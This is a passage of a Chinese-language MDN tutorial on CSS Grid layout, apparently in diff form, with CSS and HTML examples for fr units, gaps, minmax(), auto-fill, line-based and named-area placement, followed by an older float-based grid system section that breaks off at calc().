+<p>这个定义里,第一列被分配了<code>2fr</code>可用空间,余下的两列各被分配了<code>1fr</code>的可用空间,这会使得第一列的宽度是第二第三列的两倍。另外,<code>fr</code>可以与一般的长度单位混合使用,比如<code>grid-template-columns: 300px 2fr 1fr</code>,那么第一列宽度是<code>300px</code>,剩下的两列会根据除去<code>300px</code>后的可用空间按比例分配。</p> + +<div class="hidden"> +<h6 id="使用了fr单位的简单网格示例">使用了fr单位的简单网格示例</h6> + +<pre class="notranslate">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} + +.container { + display: grid; + grid-template-columns: 2fr 1fr 1fr; +} + +.container > div { + border-radius: 5px; + padding: 10px; + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); +} + </pre> + +<pre class="notranslate"><div class="container"> + <div>One</div> + <div>Two</div> + <div>Three</div> + <div>Four</div> + <div>Five</div> + <div>Six</div> + <div>Seven</div> +</div> </pre> +</div> + +<p>{{ EmbedLiveSample('Grid_2', '100%', 400) }}</p> + +<div class="blockIndicator note"> +<p><strong>注意:</strong><code>fr</code>单位分配的是<em>可用</em>空间而非<em>所有</em>空间,所以如果某一格包含的内容变多了,那么整个可用空间就会减少,可用空间是不包括那些已经确定被占用的空间的。</p> +</div> + +<h3 id="网格间隙">网格间隙</h3> + +<p>使用 {{cssxref("grid-column-gap")}} 属性来定义列间隙;使用 {{cssxref("grid-row-gap")}} 来定义行间隙;使用 {{cssxref("grid-gap")}} 可以同时设定两者。</p> + +<pre class="notranslate">.container { + display: grid; + grid-template-columns: 2fr 1fr 1fr; + grid-gap: 20px; +}</pre> + +<p>间隙距离可以用任何长度单位包括百分比来表示,但不能使用<code>fr</code>单位。</p> + +<div class="hidden"> +<h6 id="添加了间隙的简单网格示例">添加了间隙的简单网格示例</h6> + +<pre class="notranslate">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} + +.container { + display: grid; + grid-template-columns: 2fr 1fr 1fr; + grid-gap: 20px; +} + +.container > div { + border-radius: 5px; + padding: 10px; + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); +} + </pre> + +<pre class="notranslate"><div class="container"> + <div>One</div> + <div>Two</div> + <div>Three</div> + <div>Four</div> + <div>Five</div> + <div>Six</div> + <div>Seven</div> +</div> +</pre> +</div> + +<p>{{ EmbedLiveSample('Grid_3', '100%', 400) }}</p> + +<div class="blockIndicator note"> +<p><strong>注意:</strong><code>*gap</code>属性曾经有一个<code>grid-</code>前缀,不过后来的标准进行了修改,目的是让他们能够在不同的布局方法中都能起作用。尽管现在这个前缀不会影响语义,但为了代码的健壮性,你可以把两个属性都写上。</p> +</div> + +<pre class="notranslate">.container { + display: grid; + grid-template-columns: 2fr 1fr 1fr; + grid-gap: 20px; + gap: 20px; +}</pre> + +<h3 id="重复构建行列">重复构建行/列</h3> + +<p>你可以使用<code>repeat</code>来重复构建具有某些宽度配置的某些列。举个例子,如果要创建多个等宽轨道,可以用下面的方法。</p> + +<pre class="notranslate">.container { + display: grid; + grid-template-columns: repeat(3, 1fr); + grid-gap: 20px; +}</pre> + +<p>和之前一样,你仍然得到了3个<code>1fr</code>的列。第一个传入repeat函数的值(<code>3</code>)表明了后续列宽的配置要重复多少次,而第二个值(<code>1fr</code>)表示需要重复的构建配置,这个配置可以具有多个长度设定。例如<code>repeat(2, 2fr 1fr)</code>,如果你仍然不明白,可以实际测试一下效果,这相当于填入了<code>2fr 1fr 2fr 1fr</code>。</p> + +<h3 id="显式网格与隐式网格">显式网格与隐式网格</h3> + +<p>到目前为止,我们定义过了列,但还没有管过行。但在这之前,我们要来理解一下显式网格和隐式网格。显式网格是我们用<code>grid-template-columns</code> 或 <code>grid-template-rows</code> 属性创建的。而隐式网格则是当有内容被放到网格外时才会生成的。显式网格与隐式网格的关系与弹性盒子的main和cross轴的关系有些类似。</p> + +<p>隐式网格中生成的行/列大小是参数默认是<code>auto</code>,大小会根据放入的内容自动调整。当然,你也可以使用{{cssxref("grid-auto-rows")}}和{{cssxref("grid-auto-columns")}}属性手动设定隐式网格的大小。下面的例子将<code>grid-auto-rows</code>设为了<code>100px</code>,然后你可以看到那些隐式网格中的行(因为这个例子里没有设定{{cssxref("grid-template-rows")}},因此,所有行都位于隐式网格内)现在都是100像素高了。</p> + +<p>译者注:简单来说,隐式网格就是为了放显式网格放不下的元素,浏览器根据已经定义的显式网格自动生成的网格部分。</p> + +<div class="hidden"> +<h6 id="修改隐式网格尺寸的示例">修改隐式网格尺寸的示例</h6> + +<pre class="notranslate">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} + +.container > div { + border-radius: 5px; + padding: 10px; + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); +} </pre> + +<pre class="notranslate"><div class="container"> + <div>One</div> + <div>Two</div> + <div>Three</div> + <div>Four</div> + <div>Five</div> + <div>Six</div> + <div>Seven</div> +</div> + </pre> +</div> + +<pre class="notranslate">.container { + display: grid; + grid-template-columns: repeat(3, 1fr); + grid-auto-rows: 100px; + grid-gap: 20px; +}</pre> + +<p>{{ EmbedLiveSample('Grid_4', '100%', 400) }}</p> + +<h3 id="方便的minmax_函数">方便的minmax() 函数</h3> + +<p>100像素高的行/列有时可能会不够用,因为时常会有比100像素高的内容加进去。所以,我们希望可以将其设定为至少100像素,而且可以跟随内容来自动拓展尺寸保证能容纳所有内容。显而易见,你很难知道网页上某个元素的尺寸在不同情况下会变成多少,一些额外的内容或者更大的字号就会导致许多能做到像素级精准的设计出现问题。所以,我们有了{{cssxref("minmax")}}函数。</p> + +<p>{{cssxref("minmax")}} 函数为一个行/列的尺寸设置了取值范围。比如设定为 <code>minmax(100px, auto)</code>,那么尺寸就至少为100像素,并且如果内容尺寸大于100像素则会根据内容自动调整。在这里试一下把 <code>grid-auto-rows</code> 属性设置为<code>minmax</code>函数。</p> + +<pre class="notranslate">.container { + display: grid; + grid-template-columns: repeat(3, 1fr); + grid-auto-rows: minmax(100px, auto); + grid-gap: 20px; +}</pre> + +<p>如果所有网格内的内容均小于100像素,那么看起来不会有变化,但如果在某一项中放入很长的内容或者图片,你可以看到这个格子所在的哪一行的高度变成能刚好容纳内容的高度了。注意我们修改的是<code>grid-auto-rows</code> ,因此只会作用于隐式网格。当然,这一项属性也可以应用于显示网格,更多内容可以参考{{cssxref("minmax")}}页面。</p> + +<h3 id="自动使用多列填充">自动使用多列填充</h3> + +<p>现在来试试把学到的关于网格的一切,包括repeat与minmax函数,组合起来,来实现一个非常有用的功能。某些情况下,我们需要让网格自动创建很多列来填满整个容器。通过设置<code>grid-template-columns</code>属性,我们可以实现这个效果,不过这一次我们会用到{{cssxref("repeat")}}函数中的一个关键字<code>auto-fill</code>来替代确定的重复次数。而函数的第二个参数,我们使用{{cssxref("minmax")}}函数来设定一个行/列的最小值,以及最大值<code>1fr</code>。</p> + +<p>在你的文件中试试看,你也许可以用到以下的代码。</p> + +<div class="hidden"> +<h6 id="自动使用多列填充的网格">自动使用多列填充的网格</h6> + +<pre class="notranslate">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} + +.container > div { + border-radius: 5px; + padding: 10px; + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); +} + </pre> + +<pre class="notranslate"><div class="container"> + <div>One</div> + <div>Two</div> + <div>Three</div> + <div>Four</div> + <div>Five</div> + <div>Six</div> + <div>Seven</div> +</div> </pre> +</div> + +<pre class="notranslate">.container { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); + grid-auto-rows: minmax(100px, auto); + grid-gap: 20px; +}</pre> + +<p>{{ EmbedLiveSample('Grid_5', '100%', 400) }}</p> + +<p>你应该能看到形成了一个包含了许多至少200像素宽的列的网格,将容器填满。随着容器宽度的改变,网格会自动根据容器宽度进行调整,每一列的宽度总是大于200像素,并且容器总会被列填满。(This works because grid is creating as many 200 pixel columns as will fit into the container, then sharing whatever space is leftover between all of the columns — the maximum is 1fr which, as we already know, distributes space evenly between tracks.)</p> + +<h2 id="基于线的元素放置">基于线的元素放置</h2> + +<p>在定义完了网格之后,我们要把元素放入网格中。我们的网格有许多分隔线,第一条线的起始点与文档书写模式相关。在英文中,第一条列分隔线(即网格边缘线)在网格的最左边而第一条行分隔线在网格的最上面。而对于阿拉伯语,第一条列分隔线在网格的最右边,因为阿拉伯文是从右往左书写的。</p> + +<p>我们根据这些分隔线来放置元素,通过以下属性来指定从那条线开始到哪条线结束。</p> + +<ul> + <li>{{cssxref("grid-column-start")}}</li> + <li>{{cssxref("grid-column-end")}}</li> + <li>{{cssxref("grid-row-start")}}</li> + <li>{{cssxref("grid-row-end")}}</li> +</ul> + +<p>这些属性的值均为分隔线序号,你也可以用以下缩写形式来同时指定开始与结束的线。</p> + +<ul> + <li>{{cssxref("grid-column")}}</li> + <li>{{cssxref("grid-row")}}</li> +</ul> + +<p>注意开始与结束的线的序号要使用<code>/</code>符号分开。</p> + +<p>下载<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/8-placement-starting-point.html">这个文件</a>(或者查看<a href="https://mdn.github.io/learning-area/css/css-layout/grids/8-placement-starting-point.html">在线预览</a>)。文件中已经定义了一个网格以及一篇简单的文章位于网格之外。你可以看到元素已经被自动放置到了我们创建的网格中。</p> + +<p>接下来,尝试用定义网格线的方法将所有元素放置到网格中。将以下规则加入到你的css的末尾:</p> + +<pre class="notranslate">header { + grid-column: 1 / 3; + grid-row: 1; +} + +article { + grid-column: 2; + grid-row: 2; +} + +aside { + grid-column: 1; + grid-row: 2; +} + +footer { + grid-column: 1 / 3; + grid-row: 3; +}</pre> + +<div class="hidden"> +<h6 id="基于线的元素放置_2">基于线的元素放置</h6> + +<pre class="notranslate"> body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; + } + + .container { + display: grid; + grid-template-columns: 1fr 3fr; + grid-gap: 20px; + } +header { + grid-column: 1 / 3; + grid-row: 1; +} + +article { + grid-column: 2; + grid-row: 2; +} + +aside { + grid-column: 1; + grid-row: 2; +} + +footer { + grid-column: 1 / 3; + grid-row: 3; +} + +header, +footer { + border-radius: 5px; + padding: 10px; + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); +} + +aside { + border-right: 1px solid #999; +} +</pre> + +<pre class="notranslate"><div class="container"> + <header>This is my lovely blog</header> + <article> + <h1>My article</h1> + <p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + </article> + <aside> + <h2>Other things</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.</p> + </aside> + <footer>Contact me@mysite.com</footer> +</div> </pre> +</div> + +<p>{{ EmbedLiveSample('Grid_6', '100%', 400) }}</p> + +<div class="blockIndicator note"> +<p><strong>注意:</strong>你也可以用<code>-1</code>来定位到最后一条列分隔线或是行分隔线,并且可以用负数来指定倒数的某一条分隔线。但是这只能用于显式网格,对于<a href="https://wiki.developer.mozilla.org/zh-CN/docs/Glossary/Grid">隐式网格</a><code>-1</code>不一定能定位到最后一条分隔线。</p> +</div> + +<h2 id="使用grid-template-areas属性放置元素">使用grid-template-areas属性放置元素</h2> + +<p>另一种往网格放元素的方式是用{{cssxref("grid-template-areas")}}属性,并且你要命名一些元素并在属性中使用这些名字作为一个区域。</p> + +<p>将之前基于线的元素放置代码删除(或者重新下载一份新的文件),然后加入以下CSS规则:</p> + +<pre class="notranslate">.container { + display: grid; + grid-template-areas: + "header header" + "sidebar content" + "footer footer"; + grid-template-columns: 1fr 3fr; + grid-gap: 20px; +} + +header { + grid-area: header; +} + +article { + grid-area: content; +} + +aside { + grid-area: sidebar; +} + +footer { + grid-area: footer; +}</pre> + +<p>刷新页面,然后你应该能看到的元素会被放到与之前相同的地方,整个过程不需要我们指定任何分隔线序号。</p> + +<div class="hidden"> +<h6 id="基于线的元素放置_3">基于线的元素放置</h6> + +<pre class="notranslate">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} + +header, +footer { + border-radius: 5px; + padding: 10px; + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); +} + +aside { + border-right: 1px solid #999; +} + +.container { + display: grid; + grid-template-areas: + "header header" + "sidebar content" + "footer footer"; + grid-template-columns: 1fr 3fr; + grid-gap: 20px; +} + +header { + grid-area: header; +} + +article { + grid-area: content; +} + +aside { + grid-area: sidebar; +} + +footer { + grid-area: footer; +} + </pre> + +<pre class="notranslate"><div class="container"> + <header>This is my lovely blog</header> + <article> + <h1>My article</h1> + <p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + </article> + <aside><h2>Other things</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.</p> + </aside> + <footer>Contact me@mysite.com</footer> +</div> </pre> +</div> + +<p>{{ EmbedLiveSample('Grid_7', '100%', 400) }}</p> + +<p><code>grid-template-areas</code>属性的使用规则如下:</p> + +<ul> + <li>你需要填满网格的每个格子</li> + <li>对于某个横跨多个格子的元素,重复写上那个元素<code>grid-area</code>属性定义的区域名字</li> + <li>所有名字只能出现在一个连续的区域,不能在不同的位置出现</li> + <li>一个连续的区域必须是一个矩形</li> + <li>使用<code>.</code>符号,让一个格子留空</li> +</ul> + +<p>你可以在文件中尽情发挥你的想象来测试各种网格排版,比如把页脚放在内容之下,或者把侧边栏一直延伸到最底。这种直观的元素放置方式很棒,你在CSS中看到的就是实际会出现的排版效果。</p> + +<h2 id="一个用CSS网格实现的网格排版框架">一个用CSS网格实现的网格排版框架</h2> + +<p>网格排版框架一般由12到16列的网格构成,你可以用CSS网格系统直接实现而不需要任何第三方的工具,毕竟这是标准定义好了的。</p> + +<p>下载这个<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/11-grid-system-starting-point.html">初始文件</a>,文件中包含了一个定义了12列网格的容器。文件中的一些内容我们曾在前两个示例中使用过,我们暂时可以先用基于线的元素放置模式来将我们的内容放到这个12列的网格中。</p> + +<pre class="notranslate">header { + grid-column: 1 / 13; + grid-row: 1; +} + +article { + grid-column: 4 / 13; + grid-row: 2; +} + +aside { + grid-column: 1 / 4; + grid-row: 2; +} + +footer { + grid-column: 1 / 13; + grid-row: 3; +}</pre> + +<div class="hidden"> +<h6 id="一个CSS网格系统">一个CSS网格系统</h6> + +<pre class="notranslate">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} + +.container { + display: grid; + grid-template-columns: repeat(12, minmax(0,1fr)); + grid-gap: 20px; +} + +header { + grid-column: 1 / 13; + grid-row: 1; +} + +article { + grid-column: 4 / 13; + grid-row: 2; +} + +aside { + grid-column: 1 / 4; + grid-row: 2; +} + +footer { + grid-column: 1 / 13; + grid-row: 3; +} + +header, +footer { + border-radius: 5px; + padding: 10px; + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); +} + +aside { + border-right: 1px solid #999; +} + </pre> + +<pre class="notranslate"><div class="container"> + <header>This is my lovely blog</header> + <article> + <h1>My article</h1> + <p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + </article> + <aside><h2>Other things</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.</p> + </aside> + <footer>Contact me@mysite.com</footer> +</div> + </pre> +</div> + +<p>{{ EmbedLiveSample('Grid_8', '100%', 400) }}</p> + +<p>你可以使用<a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Inspector</a>去查看页面中的网格线,你应该能看到这12列的网格是如何工作的。</p> + +<p><img alt="A 12 column grid overlaid on our design." src="https://mdn.mozillademos.org/files/16045/learn-grids-inspector.png"></p> + +<h2 id="纸上得来终觉浅!">纸上得来终觉浅!</h2> + +<p>你已经读完了这篇教程,那你记住那些最重要的内容了么? 在继续之前,您可以通过一些其他测试来验证您是否真正学习到了这些知识,参见<a href="https://wiki.developer.mozilla.org/zh-CN/docs/Learn/CSS/CSS_layout/Grid_skills">技能测试:网格</a>.</p> + +<h2 id="小结">小结</h2> + +<p>我们在这篇文章中接触了CSS网格版面的主要特性,你现在应该可以在你自己的设计中使用了。想深入了解这些内容,你可以读一读下面关于网格版面的文章,可以下面的推荐阅读里看到。</p> + +<h2 id="推荐阅读">推荐阅读</h2> + +<ul> + <li><a href="https://wiki.developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_Grid_Layout#Guides">CSS网格指南</a></li> + <li><a href="https://wiki.developer.mozilla.org/zh-CN/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">CSS网格检查器:检查的你的网格版面</a></li> +</ul> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}}</p> + +<hr> +<div class="blockIndicator warning"> +<p>以下是旧版教程</p> +</div> + +<h2 id="在你的项目中使用“网格系统”">在你的项目中使用“网格系统”</h2> + +<p>为了确保整个网站或应用程序的一致性体验,从一开始就将其置于网格系统上,这意味着您不需要考虑某个元素相对于其他元素的宽度。您的选择限于“该元素将跨越多少个网格列”。</p> + +<p>您的“网格系统”可以简单地是在设计过程中使用常规网格所做的决策。如果你的设计开始于一个图形编辑应用,如Photoshop的话,你可以参考这篇文章中所描述的过程创建一个网格 <a href="http://www.elliotjaystocks.com/blog/a-better-photoshop-grid-for-responsive-web-design/">一个更好响应网页设计的Photoshop网格</a>由<a href="http://www.elliotjaystocks.com/blog/a-better-photoshop-grid-for-responsive-web-design/">艾利特杰伊</a>提供。</p> + +<p>您的网格系统也可能是一个框架—— 无论是由第三方还是您为您自己的的项目创建的——通过CSS强制实现网格。</p> + +<h2 id="创建简单的网格框架">创建简单的网格框架</h2> + +<p>首先,看看我们将如何为你的项目创建一个简单的网格框架。</p> + +<p>目前大多数网格类型布局是使用浮动创建的。如果你阅读过<a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/CSS_layout/Floats">我们前面关于浮动的文章</a>,你可以看到我们如何使用这种技术来创建一个多列布局——这是任何使用网格系统的本质方法。</p> + +<p>要创建的最简单的网格框架类型是固定宽度的 —— 我们只需要计算出想要设计的总宽度,想要多少列,以及沟槽和列的宽度。如果我们决定在具有列根据浏览器宽度增长和缩小的网格上布置设计,我们需要计算出列和沟槽之间的百分比宽度。</p> + +<p>在接下来的部分中,我们会讨论如何创建这两者。我们将创建一个12列网格 —— 一种很常见的选择,因为12可以被6、4、3和2整除,被认为非常适应不同的情况。</p> + +<h3 id="一个简单的定宽网格">一个简单的定宽网格</h3> + +<p>首先,创建一个使用固定宽度列的网格系统。</p> + +<p>制作本地样本<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid.html">simple-grid.html</a>的文件副本,该文件在其body中包含以下标记。</p> + +<pre class="brush: html notranslate"><div class="wrapper"> + <div class="row"> + <div class="col">1</div> + <div class="col">2</div> + <div class="col">3</div> + <div class="col">4</div> + <div class="col">5</div> + <div class="col">6</div> + <div class="col">7</div> + <div class="col">8</div> + <div class="col">9</div> + <div class="col">10</div> + <div class="col">11</div> + <div class="col">12</div> + </div> + <div class="row"> + <div class="col span1">13</div> + <div class="col span6">14</div> + <div class="col span3">15</div> + <div class="col span2">16</div> + </div> +</div></pre> + +<p>第一行显示单个列的大小,第二行显示网格上一些不同大小的区域——目的是将其转换为12列上的两行演示网格。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13901/simple-grid-finished.png" style="display: block; height: 50px; margin: 0px auto; width: 952px;"></p> + +<p>为包装容器提供980像素的宽度,其右侧有20px的padding,这使总共列/沟槽宽度960像素——在这里,padding被整个content的宽度减去,因为我们将这里所有元素的{{cssxref("box-sizing")}}属性的值设置为 <code>border-box</code> (可以看 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Styling_boxes/Box_model_recap#Changing_the_box_model_completely">Changing the box model completely</a> 有更详细的解释)。在<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/style"><style></a>元素中,添加以下代码。</p> + +<pre class="brush: css notranslate">* { + box-sizing: border-box; +} + + +body { + width: 980px; + margin: 0 auto; +} + +.wrapper { + padding-right: 20px; +}</pre> + +<p>在网格的每一行的行容器从另一行中清除一行,在上一个规则下面添加以下规则:</p> + +<pre class="brush: css notranslate">.row { + clear: both; +}</pre> + +<p>此清除意味着我们不需要应用构成完整十二列的元素去填充每一行。行将保持分离,并且彼此不干扰。</p> + +<p>列之间的沟槽为20像素宽。我们在每列的左侧创建一个20px的外边距(margin)作为沟槽——包括第一列,以平衡容器右侧的填充的20像素。所以,我们共有12个沟槽 — 12×20 = 240。</p> + +<p>我们需要从960像素的总宽度中减去它,为列提供720像素。如果我们除以12,每列就应该是60像素宽。</p> + +<p>下一步是为<code>.col类</code>创建一个规则集,让它向左浮动,给它一个20像素的{{cssxref("margin-left")}}形成一个沟槽,一个60像素的 {{cssxref("width")}}。将以下规则添加到CSS的底部:</p> + +<pre class="brush: css notranslate">.col { + float: left; + margin-left: 20px; + width: 60px; + background: rgb(255, 150, 150); +}</pre> + +<p>现在,最上面一行的每一列将被整齐地排列为网格。</p> + +<div class="note"> +<p><strong>注意:</strong>我们还为每个列指定了一个浅红色,以便您可以准确地看到每个列占用多少空间。</p> +</div> + +<p>那些我们想要跨越多个列的布局容器需要被赋予特殊的类,来将它们的{{cssxref("width")}} 值调整到所需的列数(加上之间的沟槽)。我们需要创建一个额外的类,以允许容器跨越2到12列。每个宽度是将该列数的列宽加上沟槽宽度得到的结果,总是比列数少1。</p> + +<p>在CSS的底部添加以下内容:</p> + +<pre class="brush: css notranslate">/* Two column widths (120px) plus one gutter width (20px) */ +.col.span2 { width: 140px; } +/* Three column widths (180px) plus two gutter widths (40px) */ +.col.span3 { width: 220px; } +/* And so on... */ +.col.span4 { width: 300px; } +.col.span5 { width: 380px; } +.col.span6 { width: 460px; } +.col.span7 { width: 540px; } +.col.span8 { width: 620px; } +.col.span9 { width: 700px; } +.col.span10 { width: 780px; } +.col.span11 { width: 860px; } +.col.span12 { width: 940px; }</pre> + +<p>创建这些类后,我们现在可以在网格上布置不同的宽度列。尝试保存并在浏览器中加载页面以查看效果。</p> + +<div class="note"> +<p><strong>注意:</strong>如果您无法使上述示例工作,请尝试将其与我们在GitHub上<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html">完成的版本</a>进行比较(也可以看<a href="http://mdn.github.io/learning-area/css/css-layout/grids/simple-grid-finished.html">在线运行</a>)。</p> +</div> + +<p>尝试修改元素上的类,添加和删除一些容器,看看如何改变布局。例如,您可以使第二行如下所示:</p> + +<pre class="brush: css notranslate"><div class="row"> + <div class="col span8">13</div> + <div class="col span4">14</div> +</div></pre> + +<p>现在你有一个网格系统工作!你可以简单地定义行和每一行的列数,然后填充每个容器所需的内容。</p> + +<h3 id="创建流体网格">创建流体网格</h3> + +<p>我们的网格工作得很好,但它有一个固定的宽度。我们真的想要一个灵活(流体)网格,它将随着浏览器<a href="http://note.youdao.com/zh-CN/docs/Glossary/viewport">视口中</a>的可用空间而增长和缩小。为了实现这一点,我们可以使用参考像素宽度并将其转换为百分比。</p> + +<p>将固定的宽度变为基于百分比的灵活(flexible)宽度的公式如下。</p> + +<pre class="notranslate">target / context = result</pre> + +<p>对于列宽来说,<strong>上下文</strong>是一个960像素的包装器,<strong>目标的宽度</strong>是60像素,我们可以使用以下计算百分比。</p> + +<pre class="notranslate">60 / 960 = 0.0625</pre> + +<p>然后我们移动小数点2个位置,给出6.25%的百分比。因此,在我们的CSS中,我们可以替换60像素列宽度为6.25%。</p> + +<p>我们需要对沟槽宽度做同样的事情:</p> + +<pre class="notranslate">20 / 960 = 0.02083333333</pre> + +<p>因此,我们需要更换20像素<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/margin-left">margin-left</a>在我们的.col规则和20像素<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/padding-right">padding-right</a>的.wrapper有2.08333333%。</p> + +<h4 id="更新网格">更新网格</h4> + +<p>要开始使用本部分,请制作您之前的示例页面的新副本,或者将我们的<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html">simple-grid-finished.html</a>代码的本地副本用作起点。</p> + +<p>更新第二个CSS规则(使用.wrapper选择器)如下:</p> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 980px; + margin: 0 auto; +} + +.wrapper { + padding-right: 2.08333333%; +}</pre> + +<p>不仅我们给了它一个百分比<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/width">width</a>,我们还添加了一个<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/max-width">max-width</a>属性,以阻止布局变得太宽。</p> + +<p>接下来,更新第四个CSS规则(使用.col选择器)如下:</p> + +<pre class="brush: css notranslate">.col { + float: left; + margin-left: 2.08333333%; + width: 6.25%; + background: rgb(255, 150, 150); +}</pre> + +<p>现在来看稍微更费力的部分 — 我们需要更新所有的 <code>.col.span </code>规则,使用百分比而不是像素宽度。这需要一点时间与计算器; 为了省你一些努力,我们已经为你做了下面。</p> + +<p>使用以下内容更新CSS规则的底部块:</p> + +<pre class="brush: css notranslate">/* Two column widths (12.5%) plus one gutter width (2.08333333%) */ +.col.span2 { width: 14.58333333%; } +/* Three column widths (18.75%) plus two gutter widths (4.1666666) */ +.col.span3 { width: 22.91666666%; } +/* And so on... */ +.col.span4 { width: 31.24999999%; } +.col.span5 { width: 39.58333332%; } +.col.span6 { width: 47.91666665%; } +.col.span7 { width: 56.24999998%; } +.col.span8 { width: 64.58333331%; } +.col.span9 { width: 72.91666664%; } +.col.span10 { width: 81.24999997%; } +.col.span11 { width: 89.5833333%; } +.col.span12 { width: 97.91666663%; }</pre> + +<p>现在保存您的代码,在浏览器中加载它,并尝试更改视口宽度 - 您应该看到列宽调整很好地适合!</p> + +<div class="note"> +<p><strong>注意:</strong>如果您无法使上述示例工作,请尝试将其与我们<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html">在GitHub上完成的版本进行比较</a>(<a href="http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid.html">请参见它</a>如何<a href="http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid.html">运行</a>的)。</p> +</div> + +<h3 id="使用calc_函数更容易的计算">使用calc() 函数更容易的计算</h3> + +<p>你可以使用<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/calc()">calc()</a>函数在你的CSS里面做数学 — 